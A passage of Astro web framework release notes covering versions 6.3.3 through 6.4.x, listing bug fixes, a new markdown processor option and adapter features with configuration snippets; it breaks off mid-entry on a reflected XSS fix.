[`c610cda`](https://redirect.github.com/withastro/astro/commit/c610cda44b273c15a6e7eaa4a84fa194002643e1) Thanks [@astrobot-houston](https://redirect.github.com/astrobot-houston)! - Fixes dynamic routes returning 500 "TypeError: Missing parameter" when using domain-based i18n routing in SSR. - [#16946](https://redirect.github.com/withastro/astro/pull/16946) [`606c37b`](https://redirect.github.com/withastro/astro/commit/606c37b886a9e25170ba82634cc81a8a775e8ac6) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes `Astro.routePattern` to preserve original casing of dynamic parameter names from filenames. Previously, a file at `src/pages/blog/[postId].astro` would return `/blog/[postid]` for `Astro.routePattern` due to an internal `.toLowerCase()` call. It now correctly returns `/blog/[postId]`. - [#16720](https://redirect.github.com/withastro/astro/pull/16720) [`16d49b6`](https://redirect.github.com/withastro/astro/commit/16d49b694071be212fb8c5a141ade72e8717a30e) Thanks [@thomas-callahan-collibra](https://redirect.github.com/thomas-callahan-collibra)! - Fix an issue where dynamic routes would return the string `[object Object]` instead of the expected content, in certain runtimes. - [#16703](https://redirect.github.com/withastro/astro/pull/16703) [`17390a6`](https://redirect.github.com/withastro/astro/commit/17390a6184d5cbd5ff85b7f652a92f5a6a7b0557) Thanks [@henrybrewer00-dotcom](https://redirect.github.com/henrybrewer00-dotcom)! - Fixes styles being stripped when the project root is started with a path whose case differs from the actual filesystem case (e.g. running `astro dev` from `d:\dev\app` while the folder on disk is `D:\dev\app`). - [#16855](https://redirect.github.com/withastro/astro/pull/16855) [`c610cda`](https://redirect.github.com/withastro/astro/commit/c610cda44b273c15a6e7eaa4a84fa194002643e1) Thanks [@astrobot-houston](https://redirect.github.com/astrobot-houston)! - Fixes `Astro.currentLocale` returning the default locale instead of the domain's locale on dynamic routes served from a mapped domain. ### [`v6.4.3`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#643) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.4.2...astro@6.4.3) ##### Patch Changes - [#16900](https://redirect.github.com/withastro/astro/pull/16900) [`17a0fbd`](https://redirect.github.com/withastro/astro/commit/17a0fbd34d11db765e79caf269bfd5f43ef51da8) Thanks [@ocavue](https://redirect.github.com/ocavue)! - Bumps `devalue` dependency to v5.8.1 - [#16016](https://redirect.github.com/withastro/astro/pull/16016) [`0d85e1b`](https://redirect.github.com/withastro/astro/commit/0d85e1b7ea58a243bd1b61bdfb951c4fd87b9db5) Thanks [@felmonon](https://redirect.github.com/felmonon)! - Fix a false positive in the dev toolbar accessibility audit for anchors with text inside closed `<details>` elements. - [#16911](https://redirect.github.com/withastro/astro/pull/16911) [`79c6c46`](https://redirect.github.com/withastro/astro/commit/79c6c469a735bece8a80200f7b188e15f1abff24) Thanks [@astrobot-houston](https://redirect.github.com/astrobot-houston)! - Fixes a bug where `experimental.advancedRouting` with `astro/hono` handlers threw `TypeError: Cannot read properties of undefined (reading 'route')` for unmatched routes instead of rendering the custom 404 page. - [#16899](https://redirect.github.com/withastro/astro/pull/16899) [`239c469`](https://redirect.github.com/withastro/astro/commit/239c469cd2cd66d147a302a2ca14e07a0891f9b8) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes a false "does not call the middleware() handler" warning when using `astro()` in a custom `src/app.ts` and the first request is a redirect route. - [#16887](https://redirect.github.com/withastro/astro/pull/16887) [`493acdb`](https://redirect.github.com/withastro/astro/commit/493acdb4abc56534e9efa68af16e3ef273d7d88b) Thanks [@astrobot-houston](https://redirect.github.com/astrobot-houston)! - Fixes `redirectToDefaultLocale` not working after the Advanced Routing refactoring. - [#16908](https://redirect.github.com/withastro/astro/pull/16908) [`ef53ab9`](https://redirect.github.com/withastro/astro/commit/ef53ab91e8362b50bb1a3ab73d9350b93ea41de4) Thanks [@florian-lefebvre](https://redirect.github.com/florian-lefebvre)! - Improves optimized fallbacks generation when using the Fonts API by using better metrics for bold variants ### [`v6.4.2`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#642) ##### Patch Changes - [#16889](https://redirect.github.com/withastro/astro/pull/16889) [`b94bcfd`](https://redirect.github.com/withastro/astro/commit/b94bcfd8da64a3f2862a20572e7a9847aebdbc70) Thanks [@Princesseuh](https://redirect.github.com/Princesseuh)! - Fixes a `plugins is not iterable` crash when using a pre-6.0 `@astrojs/mdx` alongside integrations (e.g. Starlight) that set `markdown.remarkPlugins`, `markdown.rehypePlugins`, or `markdown.remarkRehype`. - [#16878](https://redirect.github.com/withastro/astro/pull/16878) [`b9f6bb9`](https://redirect.github.com/withastro/astro/commit/b9f6bb9a238b909d491ca4a7a99620908faf58a8) Thanks [@fkatsuhiro](https://redirect.github.com/fkatsuhiro)! - Fixes an issue where on-demand (SSR) dynamic routes would return 404 when a prerendered dynamic route with the same URL pattern was sorted first alphabetically. In production builds with `@astrojs/node` adapter, if `[a_prebuild].astro` (prerender=true) came before `[b_ssr].astro` alphabetically, requests to URLs not in the prerendered route's static paths would 404 instead of falling through to the SSR route. The fix adds fallthrough logic so that when a prerendered dynamic route matches but can't serve the request, Astro tries subsequent matching routes. ### [`v6.4.1`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#641) ##### Patch Changes - [#16883](https://redirect.github.com/withastro/astro/pull/16883) [`eeb064c`](https://redirect.github.com/withastro/astro/commit/eeb064ca9452fd9d0ad9b7557059a646a90a3e57) Thanks [@Princesseuh](https://redirect.github.com/Princesseuh)! - Restores the `astro/jsx/rehype.js` entry point so that older versions of `@astrojs/mdx` continue to work when used with Astro 6.x. This entry point will be removed in Astro 7.0. ### [`v6.4.0`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#640) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.3.8...astro@6.4.0) ##### Minor Changes - [#16468](https://redirect.github.com/withastro/astro/pull/16468) [`4cff3a1`](https://redirect.github.com/withastro/astro/commit/4cff3a107c3750ab5f0878a6b41836705282b771) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Adds a new `preserveBuildServerDir` adapter feature Adapters can now set `preserveBuildServerDir: true` in their adapter features to keep the `dist/server/` directory structure for static builds, mirroring the existing `preserveBuildClientDir` option. This is useful for adapters that require a consistent `dist/client/` and `dist/server/` layout regardless of build output type. ```js setAdapter({ name: 'my-adapter', adapterFeatures: { buildOutput, preserveBuildClientDir: true, preserveBuildServerDir: true, }, }); ``` - [#16848](https://redirect.github.com/withastro/astro/pull/16848) [`f732f3c`](https://redirect.github.com/withastro/astro/commit/f732f3cc716342a63e5b03815243ba10964b89dc) Thanks [@Princesseuh](https://redirect.github.com/Princesseuh)! - Adds a new `markdown.processor` configuration option, allowing you to choose an alternative Markdown processor. Websites with many Markdown/MDX files tend to be slow to build because the unified ecosystem (e.g., remark, rehype) is slow to process. This feature introduces the ability to replace this part of the build pipeline with another processor. The default processor is `unified()`. This means that existing configurations remain unchanged and your remark/rehype plugins continue to work. ```js // astro.config.mjs import { defineConfig } from 'astro/config'; import { unified } from '@astrojs/markdown-remark'; import remarkToc from 'remark-toc'; export default defineConfig({ markdown: { processor: unified({ remarkPlugins: [remarkToc], }), }, }); ``` In addition to this new configuration option, Astro provides a new alternative processor based on Rust: [Sätteri](https://satteri.bruits.org/). You can choose to use it now by installing `@astrojs/markdown-satteri`, importing the `satteri()` processor, and adapting your existing configuration: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; import { satteri } from '@astrojs/markdown-satteri'; export default defineConfig({ markdown: { processor: satteri({ features: { directive: true }, }), }, }); ``` This processor does not support the remark and rehype plugins. This means you may need to convert them to [MDAST or HAST plugins](https://satteri.bruits.org/docs/plugins/) to retain your current functionality. The existing top-level `markdown.remarkPlugins`, `markdown.rehypePlugins`, `markdown.remarkRehype`, `markdown.gfm`, and `markdown.smartypants` options still work, but are now deprecated and will be removed in a future major update. The matching `remarkPlugins`, `rehypePlugins`, and `remarkRehype` options on the MDX integration are also deprecated for the same reason. To anticipate their removal, move them onto `unified({...})` (or your preferred plugin processor) : ```diff // astro.config.mjs import { defineConfig } from 'astro/config'; import remarkToc from 'remark-toc'; import rehypeSlug from 'rehype-slug'; + import { unified } from '@astrojs/markdown-remark'; export default defineConfig({ markdown: { + processor: unified({ + remarkPlugins: [remarkToc], + rehypePlugins: [rehypeSlug], + remarkRehype: true, + gfm: true, + smartypants: true, + }), - remarkPlugins: [remarkToc], - rehypePlugins: [rehypeSlug], - remarkRehype: true, - gfm: true, - smartypants: true, }, }); ``` For more information on enabling and using this feature in your project, see our [Markdown guide](https://docs.astro.build/en/guides/markdown-content/). To give feedback on this new Rust processor, see the [Native Markdown / MDX parsing and processing RFC](https://redirect.github.com/withastro/roadmap/pull/1364). ##### Patch Changes - [#16468](https://redirect.github.com/withastro/astro/pull/16468) [`4cff3a1`](https://redirect.github.com/withastro/astro/commit/4cff3a107c3750ab5f0878a6b41836705282b771) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Skips the static preview server when an adapter provides its own `previewEntrypoint`, allowing the adapter to handle both static and dynamic routes - [#16811](https://redirect.github.com/withastro/astro/pull/16811) [`e0e26db`](https://redirect.github.com/withastro/astro/commit/e0e26dbfe95f9d42f51ad414dbe877e60cbc637d) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes `X-Forwarded-Host` and `X-Forwarded-Proto` headers being ignored when set in a custom `src/app.ts` fetch handler before creating `FetchState` - [#16468](https://redirect.github.com/withastro/astro/pull/16468) [`4cff3a1`](https://redirect.github.com/withastro/astro/commit/4cff3a107c3750ab5f0878a6b41836705282b771) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes the static preview server to respect `preserveBuildClientDir`, serving files from `build.client` instead of `outDir` when the adapter requires it - [#16770](https://redirect.github.com/withastro/astro/pull/16770) [`1e2aa11`](https://redirect.github.com/withastro/astro/commit/1e2aa11caf8e7a48f37dd614fd2d4c15cc7a8439) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes a race condition where the Vite dep optimizer could lose React dependencies in dev mode when using Astro Actions - [#16468](https://redirect.github.com/withastro/astro/pull/16468) [`4cff3a1`](https://redirect.github.com/withastro/astro/commit/4cff3a107c3750ab5f0878a6b41836705282b771) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Exempts internal routes (e.g. server islands) from `getStaticPaths()` validation, fixing server island rendering on static sites - [#16468](https://redirect.github.com/withastro/astro/pull/16468) [`4cff3a1`](https://redirect.github.com/withastro/astro/commit/4cff3a107c3750ab5f0878a6b41836705282b771) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes preview for static sites that contain non-prerendered routes. Previously, the preview command ignored SSR routes discovered during route scanning and always used the static preview server. - Updated dependencies \[[`f732f3c`](https://redirect.github.com/withastro/astro/commit/f732f3cc716342a63e5b03815243ba10964b89dc), [`f732f3c`](https://redirect.github.com/withastro/astro/commit/f732f3cc716342a63e5b03815243ba10964b89dc)]: - [@astrojs/internal-helpers](https://redirect.github.com/astrojs/internal-helpers)@0.10.0 - [@astrojs/markdown-remark](https://redirect.github.com/astrojs/markdown-remark)@7.2.0 ### [`v6.3.8`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#638) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.3.7...astro@6.3.8) ##### Patch Changes - [#16830](https://redirect.github.com/withastro/astro/pull/16830) [`f2bf3cb`](https://redirect.github.com/withastro/astro/commit/f2bf3cb257788ff657ffbe9044fe6225e6662cb7) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes 404s for dynamically imported JS chunks when using an adapter with `assetQueryParams` (e.g. Vercel skew protection) - [#16831](https://redirect.github.com/withastro/astro/pull/16831) [`ace96ba`](https://redirect.github.com/withastro/astro/commit/ace96ba5024129cbeb9d8e75134f4f8bdf42a57a) Thanks [@astrobot-houston](https://redirect.github.com/astrobot-houston)! - Fixes a misleading `GetStaticPathsRequired` error when a redirect is configured from a dynamic route to a static (or less-dynamic) destination. For example, `'/project/[slug]': '/'` previously produced a confusing error pointing at `index.astro`. Astro now detects the parameter mismatch at config validation time and throws a clear `InvalidRedirectDestination` error naming the missing parameters. - [#16702](https://redirect.github.com/withastro/astro/pull/16702) [`b7d1758`](https://redirect.github.com/withastro/astro/commit/b7d1758efbe0544520b4b15577d2e0dd944bf8a1) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes scoped styles from `.astro` components being dropped when rendered inside MDX content (`<Content />` from `render(entry)`) passed through a named slot using `<Fragment slot="X">`. The Fragment component now eagerly evaluates its slot contents to ensure propagating components register their styles before head content is flushed. - [#16823](https://redirect.github.com/withastro/astro/pull/16823) [`3df6a45`](https://redirect.github.com/withastro/astro/commit/3df6a453243ff4d1d983d0fb6d259617f50be211) Thanks [@astrobot-houston](https://redirect.github.com/astrobot-houston)! - Fixes missing CSS for conditionally rendered Svelte components in production builds - [#16836](https://redirect.github.com/withastro/astro/pull/16836) [`3d7adfa`](https://redirect.github.com/withastro/astro/commit/3d7adfae7d063661d85d92061a15f728fa5df2bd) Thanks [@LongYC](https://redirect.github.com/LongYC)! - Document compressHTML: "jsx" config is only available since Astro v6.2.0 - [#16864](https://redirect.github.com/withastro/astro/pull/16864) [`334ce13`](https://redirect.github.com/withastro/astro/commit/334ce135807666df283dc4cd4d5f6dad1b1b80cc) Thanks [@cheets](https://redirect.github.com/cheets)! - Fixes a false-positive `Internal Warning: route cache overwritten` logged on every SSR request for dynamic routes ### [`v6.3.7`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#637) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.3.6...astro@6.3.7) ##### Patch Changes - [#16821](https://redirect.github.com/withastro/astro/pull/16821) [`9c76b12`](https://redirect.github.com/withastro/astro/commit/9c76b12052c445416df6b034d7b6df66957a0503) Thanks [@astrobot-houston](https://redirect.github.com/astrobot-houston)! - Fixes request body handling in the Node adapter when `req.body` is a `Buffer`, `Uint8Array`, or `ArrayBuffer`. Previously, binary body data was incorrectly JSON-stringified (producing `{"type":"Buffer","data":[...]}`) instead of being passed through directly. This affected libraries like `serverless-http` that set `req.body` to a `Buffer`. - [#16785](https://redirect.github.com/withastro/astro/pull/16785) [`de96360`](https://redirect.github.com/withastro/astro/commit/de963608d82e9bab74896945aa6503ba164ddbb0) Thanks [@astrobot-houston](https://redirect.github.com/astrobot-houston)! - Fixes `vite.build.minify`, `vite.build.sourcemap`, and `vite.build.rollupOptions.output` (e.g. `compact`) being ignored for client-side builds. These top-level Vite build options are now properly forwarded to the client environment, with environment-specific overrides (`vite.environments.client.build.*`) taking priority when set. - [#16819](https://redirect.github.com/withastro/astro/pull/16819) [`b5dd8f1`](https://redirect.github.com/withastro/astro/commit/b5dd8f1e82813a646c4c61510764fc83b2fcafd4) Thanks [@astrobot-houston](https://redirect.github.com/astrobot-houston)! - Fixes custom elements in MDX files bypassing the renderer pipeline. Custom elements (tags containing hyphens like `<my-element>`) in `.mdx` files are now routed through registered renderers for SSR, matching the behavior of `.astro` files. If no renderer claims the element, it falls back to rendering as raw HTML. - [#16808](https://redirect.github.com/withastro/astro/pull/16808) [`765896c`](https://redirect.github.com/withastro/astro/commit/765896cd4d03755093d6c9f47d69285ac910b848) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes dynamic routes returning 400 Bad Request when the URL contains a literal `%` character, such as paths built with `encodeURIComponent('%?.pdf')` - [#16804](https://redirect.github.com/withastro/astro/pull/16804) [`90d2aca`](https://redirect.github.com/withastro/astro/commit/90d2aca7536e600062e6b9d787ef7e60990a23fe) Thanks [@jp-knj](https://redirect.github.com/jp-knj)! - Fixes a v6 regression where `astro:i18n` could not be imported from client `<script>` blocks. ### [`v6.3.6`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#636) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.3.5...astro@6.3.6) ##### Patch Changes - [#16774](https://redirect.github.com/withastro/astro/pull/16774) [`8f77583`](https://redirect.github.com/withastro/astro/commit/8f7758313df4af52e83e039bb64c41006de93c4e) Thanks [@astrobot-houston](https://redirect.github.com/astrobot-houston)! - Fixes markdown images with empty alt text (`![](image.jpg)`) in content collections dropping the `alt` attribute entirely. The `alt=""` attribute is now correctly preserved in the rendered HTML output, which is important for accessibility (indicating decorative images). - [#16776](https://redirect.github.com/withastro/astro/pull/16776) [`3d10b5e`](https://redirect.github.com/withastro/astro/commit/3d10b5e16256ff9999e757f86cf2c4f04c36a311) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes HMR serving stale content when components are passed as props via `getStaticPaths()` - [#16784](https://redirect.github.com/withastro/astro/pull/16784) [`7453860`](https://redirect.github.com/withastro/astro/commit/7453860fb4fb34017365c135678bfd76f1f9aeb5) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Improved the printing of the build time if it goes over the 60 seconds. - [#16665](https://redirect.github.com/withastro/astro/pull/16665) [`3dbbcee`](https://redirect.github.com/withastro/astro/commit/3dbbcee0a7015867cb1b6770440ba51d1eee3445) Thanks [@Princesseuh](https://redirect.github.com/Princesseuh)! - Fixes remote SVG sources erroring with `dangerouslyProcessSVG` after the v6.3 SVG-processing gate. The default Sharp service now resolves the output format from the source up-front when it can (URL extension, `data:` MIME, ESM metadata), and from the actual buffer at request time when it can't, so SVG sources pass through untouched without needing to set `image.dangerouslyProcessSVG: true` or an explicit `format="svg"`. The error message has also been updated to point at `format="svg"` as the simpler workaround when an SVG source is encountered without `dangerouslyProcessSVG` enabled. - [#16777](https://redirect.github.com/withastro/astro/pull/16777) [`1754b91`](https://redirect.github.com/withastro/astro/commit/1754b91dec1e5d9839ddfc39fbf2ee1fbb9391a4) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes HMR serving stale content for dynamically imported components through barrel files - [#16730](https://redirect.github.com/withastro/astro/pull/16730) [`068d924`](https://redirect.github.com/withastro/astro/commit/068d924402dced7670530774f36cca301f91e60c) Thanks [@harshagarwalnyu](https://redirect.github.com/harshagarwalnyu)! - Fixes an issue where the `file()` content loader did not generate a valid JSON Schema for collections whose JSON or YAML data is a top-level array instead of an object. ### [`v6.3.5`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#635) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.3.4...astro@6.3.5) ##### Patch Changes - [#16771](https://redirect.github.com/withastro/astro/pull/16771) [`07c8805`](https://redirect.github.com/withastro/astro/commit/07c880500926e3337798ca906d9422c880c6e148) Thanks [@ematipico](https://redirect.github.com/ematipico)! - Fixes `position` prop on `<Image>` and `<Picture>` components breaking Content Security Policy (CSP). - [#16593](https://redirect.github.com/withastro/astro/pull/16593) [`50924ce`](https://redirect.github.com/withastro/astro/commit/50924cea1faf32b8c14b031936e93812033b04ca) Thanks [@yanthomasdev](https://redirect.github.com/yanthomasdev)! - Improves error messages with more consistent and correct writing. - [#16757](https://redirect.github.com/withastro/astro/pull/16757) [`5d661cd`](https://redirect.github.com/withastro/astro/commit/5d661cd226cd9abb4f0f352231f2f68feec52ab4) Thanks [@astrobot-houston](https://redirect.github.com/astrobot-houston)! - Fixes dev server serving stale content when SSR-only modules change (e.g. `.astro` files outside the project root in a monorepo, or dynamically imported components). Previously, the `astro:hmr-reload` plugin returned an empty array after detecting SSR-only module changes, which prevented Vite's `updateModules` from propagating the invalidation to the SSR module runner. The runner's evaluated module cache stayed stale, so subsequent requests continued returning old content. Now the plugin returns the SSR-only modules so Vite can process them through `updateModules`, which properly invalidates the module runner's cache and ensures fresh content on the next request. ### [`v6.3.4`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#634) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.3.3...astro@6.3.4) ##### Patch Changes - [#16723](https://redirect.github.com/withastro/astro/pull/16723) [`0f10bfe`](https://redirect.github.com/withastro/astro/commit/0f10bfe70d443ebe5474a72f59c3a3e745831b98) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Adds `fetchFile` option to `experimental.advancedRouting` to customize or disable the entrypoint file ```js export default defineConfig({ experimental: { advancedRouting: { fetchFile: 'fetch.ts', }, }, }); ``` - [#16723](https://redirect.github.com/withastro/astro/pull/16723) [`0f10bfe`](https://redirect.github.com/withastro/astro/commit/0f10bfe70d443ebe5474a72f59c3a3e745831b98) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes Hono `cache()` middleware to follow the standard wrapper pattern - [#16723](https://redirect.github.com/withastro/astro/pull/16723) [`0f10bfe`](https://redirect.github.com/withastro/astro/commit/0f10bfe70d443ebe5474a72f59c3a3e745831b98) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Adds `App.Providers` interface for typing custom context providers on `Astro` and `ctx` ```ts declare namespace App { interface Providers { oauth: import('./lib/oauth').OAuthSession; } } ``` - [#16723](https://redirect.github.com/withastro/astro/pull/16723) [`0f10bfe`](https://redirect.github.com/withastro/astro/commit/0f10bfe70d443ebe5474a72f59c3a3e745831b98) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Adds `FetchState.response` property, set automatically after `pages()` or `middleware()` completes ```ts const response = await middleware(state, (s) => pages(s)); console.log(state.response === response); // true ``` - [#16723](https://redirect.github.com/withastro/astro/pull/16723) [`0f10bfe`](https://redirect.github.com/withastro/astro/commit/0f10bfe70d443ebe5474a72f59c3a3e745831b98) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Adds `Fetchable` type export for typing the advanced routing entrypoint ```ts import type { Fetchable } from 'astro'; export default { async fetch(request) { return new Response('ok'); }, } satisfies Fetchable; ``` - [#16572](https://redirect.github.com/withastro/astro/pull/16572) [`4a5a077`](https://redirect.github.com/withastro/astro/commit/4a5a0779712be11680a9fc729be2ba9dd93f68d2) Thanks [@DORI2001](https://redirect.github.com/DORI2001)! - Suppresses `[WARN] Vite warning: unused imports from "@astrojs/internal-helpers/remote"` during prerender builds. The package is now bundled alongside `astro` in the prerender environment, matching how it is handled in the SSR environment. - [#16756](https://redirect.github.com/withastro/astro/pull/16756) [`b6ee23d`](https://redirect.github.com/withastro/astro/commit/b6ee23d339311c356ad25781f62454aee289e47b) Thanks [@astrobot-houston](https://redirect.github.com/astrobot-houston)! - Fixes styles from Markdoc/MDX custom components not being extracted to `<head>` in the dev server when using the Cloudflare adapter with `prerenderEnvironment: 'node'` and rendering content through a wrapper component. - [#16747](https://redirect.github.com/withastro/astro/pull/16747) [`904d19a`](https://redirect.github.com/withastro/astro/commit/904d19a73e91dc166c492905ebf6c81705fa7064) Thanks [@astrobot-houston](https://redirect.github.com/astrobot-houston)! - Fixes Astro action requests failing in `astro dev` when using the Cloudflare adapter with `prerenderEnvironment: 'node'` alongside a prerendered catch-all route such as `[...page].astro`. Actions and other SSR POST endpoints now continue to work in dev instead of returning an HTTP 500 error. - [#16701](https://redirect.github.com/withastro/astro/pull/16701) [`3495ce4`](https://redirect.github.com/withastro/astro/commit/3495ce4f3af103673e32b6fdd452e4108252e1b5) Thanks [@demaisj](https://redirect.github.com/demaisj)! - Fix `Map` and `Set` instances saved in a content collection being broken when retrieving entries. - [#16614](https://redirect.github.com/withastro/astro/pull/16614) [`fca1c32`](https://redirect.github.com/withastro/astro/commit/fca1c32c329f6044c6833debdb9d683dd2103fc9) Thanks [@Eptagone](https://redirect.github.com/Eptagone)! - Fixes `entry.data` type inference when a live collection is configured without a schema. - [#16661](https://redirect.github.com/withastro/astro/pull/16661) [`03b8f7f`](https://redirect.github.com/withastro/astro/commit/03b8f7f7644cc1d9e738a8221d6bd377399538c0) Thanks [@ocavue](https://redirect.github.com/ocavue)! - Updates `typescript` to v6. No changes are needed from users. - [#16681](https://redirect.github.com/withastro/astro/pull/16681) [`c22770a`](https://redirect.github.com/withastro/astro/commit/c22770a58c3b312ad4bba81707be72f551ee02db) Thanks [@dotnetCarpenter](https://redirect.github.com/dotnetCarpenter)! - Fixes an issue where SVG images with `width="0"` or `height="0"` incorrectly threw a `NoImageMetadata` error instead of being treated as valid dimensions. ### [`v6.3.3`](https://redirect.github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#633) [Compare Source](https://redirect.github.com/withastro/astro/compare/astro@6.3.2...astro@6.3.3) ##### Patch Changes - [#16737](https://redirect.github.com/withastro/astro/pull/16737) [`bd84f33`](https://redirect.github.com/withastro/astro/commit/bd84f33d68cfa7d077e0a638970e28b0a9bd83db) Thanks [@matthewp](https://redirect.github.com/matthewp)! - Fixes a reflected XSS vulnerability where slot names on hydrated components were 